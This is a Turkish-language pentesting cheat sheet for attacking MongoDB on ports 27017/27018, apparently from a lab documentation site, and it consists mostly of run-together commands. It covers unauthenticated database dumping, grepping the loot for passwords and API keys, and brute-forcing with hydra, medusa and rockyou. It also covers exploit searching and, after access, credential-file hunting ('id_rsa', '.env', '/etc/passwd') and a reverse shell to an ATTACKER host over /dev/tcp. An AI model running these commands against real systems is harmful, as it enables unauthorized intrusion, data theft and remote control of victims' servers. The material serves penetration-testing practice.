27017,27018 - Pentesting MongoDB
MongoDB database
Auth kapalı MongoDB koleksiyon dump ve bazen JS/server-side abuse verir. Hedef lab IP’si üzerinde komutları 27017 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
27017/27018 doğrula.
-
Auth’suz listDatabases.
-
Dump ve credential ara.
-
Role abuse / JS komut.
nmap -Pn -sV -p27017,27018 TARGETnmap -Pn -p27017,27018 --script mongodb-info,mongodb-databases TARGETmongosh --host TARGET --eval 'db.runCommand({connectionStatus:1})'nmap -p27017 --script mongodb-brute TARGETmongosh --host TARGET --eval 'show dbs'mongodump --host TARGET --out loot/mongomongosh --host TARGET --eval 'db.users.find().limit(20)'mongosh --host TARGET -u admin -p pass --authenticationDatabase adminNoSQL injection on exposed apps; $where JSgrep -RniE 'password|api[_-]?key' loot/mongo | headDerin enum
Section titled “Derin enum”,27018 - MongoDB için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p27017,27018 TARGETnmap -Pn -p27017 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:27017' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',27017));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,27018 - MongoDBKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 27017 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 27017nmap -p27017 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit MongoDBmsfconsole -q -x 'search MongoDB; exit'nuclei -u https://TARGET:27017 -t cves/ -silent -severity || truenuclei -u http://TARGET:27017 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 27017printf '' | timeout 3 nc -nv TARGET 27017curl -vk --http1.0 http://TARGET:27017/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”unauth mongo → dump → creds → app/admin